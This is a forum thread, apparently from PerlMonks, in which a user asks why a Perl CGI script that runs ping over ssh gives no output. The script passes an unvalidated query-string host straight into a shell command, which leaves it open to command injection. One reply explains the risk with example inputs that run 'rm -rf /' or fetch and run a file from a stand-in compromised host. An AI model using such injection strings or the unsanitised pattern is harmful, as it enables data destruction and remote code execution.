in reply to Re: Shell to Perl conversion
in thread Shell to Perl conversion

This is how perl code I am doing, but things are not working:
$USER = "user"; $HOST="hostname"; $CMD="/usr/sbin/ping"; #open(PING,"/usr/sbin/ping -s ".$nodeName." 64 10 |"); open(PING,"ssh ".$USER."@".$HOST." /bin/ping -s ".$nodeName." 64 10 +|"); $old_fh = select(STDOUT); $| = 1; select($old_fh); print "<PRE>"; while(<PING>) { print; } print "</PRE>";
cheers Rock

Replies are listed 'Best First'.
Re^3: Shell to Perl conversion
by Corion (Patriarch) on Aug 29, 2008 at 09:01 UTC

    If it's "Not working", maybe you need to increase its food rations? Maybe you need to whip the lazy program harder?

    Now, if you tell us how it's not working, what the error message is, and what you find in the webserver error log, we can maybe help you better.

    Be aware that your webserver likely runs your CGI not as your shell user and hence will not have the same permissions as your shell user. Especially, your ~/.ssh2/ directory may or may not be readable to that user, so your passwordless keys for the remote machine won't work.

    As a point for later consideration, think of a user sending your script a hostname of 127.0.0.1; rm -rf / & # or  127.0.0.1; wget http://compromised.example.com/sploit && chmod ugo+x sploit && ./sploit and read the Instructional Story of Little Bobby Tables.

      I have taken care of ssh authenitcation. When I run my shell script from command line the output is:
      [User@Hostname ~]$ ./ping.sh PING target 56(84) bytes of data. 64 bytes from target: icmp_seq=0 ttl=64 time=0.339 ms 64 bytes from target: icmp_seq=1 ttl=64 time=0.388 ms 64 bytes from target: icmp_seq=2 ttl=64 time=0.342 ms Killed by signal 2. [User@Hostname ~]$
      I am trying to achieve the same thing in webinterface. I am not getting the output in the webpage. The compiler has no complain. Here goes the complete code.
      cheers Rock
      #!/usr/bin/perl #domain name suffix - if we need it $domainName=""; # Get the input $buffer = $ENV{'QUERY_STRING'}; @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); # Un-Webify plus signs and %-encoding $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value; } print "Content-type: text/html\n\n"; print <<__HTML__; <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML> <HEAD> <TITLE>Rockmountain&reg;/Webinterface&trade;</TITLE> <STYLE type="text/css"> h1.headerTool { font-size: 30pt; font-style: italic; font-weight: bold; letter-spacing: -4px; } .headerReg, .headerTM { font-size: 12pt; vertical-align: super; } .headerWebinterface { font-size: 28; font-weight: 500; letter-spacing: 0px; } body { background-color: #000033; color: #ffffff; font-family: Arial, Verdana, sans-serif; } .systemMsg { font-size: 14pt; font-weight: bold; } </STYLE> </HEAD> <BODY> <h1 class="headerTool">NETCOOL<span class="headerReg">&reg;</span>/ <s +pan class="headerWebinterface">Webinterface</span><span class="header +TM">&trade;</span></h1> <CENTER> <HR HEIGHT="15" > </CENTER> __HTML__ $nodeName = "seres"; if (! $FORM{"\$selected_rows.Node"}) { print "<p class=\"systemMsg\">No Node Specified.</p></body></h +tml>"; die; } else { $nodeName = $FORM{"\$selected_rows.Node"}.$domainName; print "<p class=\"systemMsg\">Pinging host ".$nodeName."</p>\n +"; } $USER = "User"; $HOST="hostname"; $CMD="/usr/sbin/ping"; #open(PING,"/usr/sbin/ping -s ".$nodeName." 64 10 |"); open(PING,"ssh ".$USER."@".$HOST." /bin/ping -s ".$nodeName." 64 10 +|"); $old_fh = select(STDOUT); $| = 1; select($old_fh); print "<PRE>"; while(<PING>) { print; } print "</PRE>"; print "<CENTER><HR HEIGHT=\"15\" ></CENTER>"; print <<__HTML__; <form action=""> <div align="center"><input type="button" value="Close Window" onClick= +"javascript:window.close();"></div> </form> </BODY> </HTML> __HTML__

        You still don't tell us what you see and how your script fails. "Not getting output" can mean various things. Do you see an 500 error? Do you get another error page? Does the request return a blank page? Does the request never return or time out?

        What steps did you undertake to adress the points I mentioned in my first reply?

        Now, if you tell us how it's not working, what the error message is, and what you find in the webserver error log, we can maybe help you better.

        Be aware that your webserver likely runs your CGI not as your shell user and hence will not have the same permissions as your shell user. Especially, your ~/.ssh2/ directory may or may not be readable to that user, so your passwordless keys for the remote machine won't work.

        You don't seem to be checking whether your call to open succeeds. I recommend that you rewrite it as:

        my $commandline = "ssh $USER\@$HOST /bin/ping -s $nodeName 64 10 |"; open PING, $commandline or die "Couldn't launch '$commandline': $!/$?";

        As another aside, you want to ditch your hand-rolled CGI parser and use CGI instead, which comes with every Perl and has been thoroughly tested.

Re^3: Shell to Perl conversion
by moritz (Cardinal) on Aug 29, 2008 at 08:55 UTC

    but things are not working is not an error description.

    If you want that script to print out HTML, you have to actually do it. HTML starts with

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Your Title here</title> </head> <body>

    So printing something like this might be a good start. As a CGI script you also have to print HTTP headers before any HTML.

    Things like open can go wrong, so you should catch errors like this:

    open(...) or die "Can't open stuff: $!";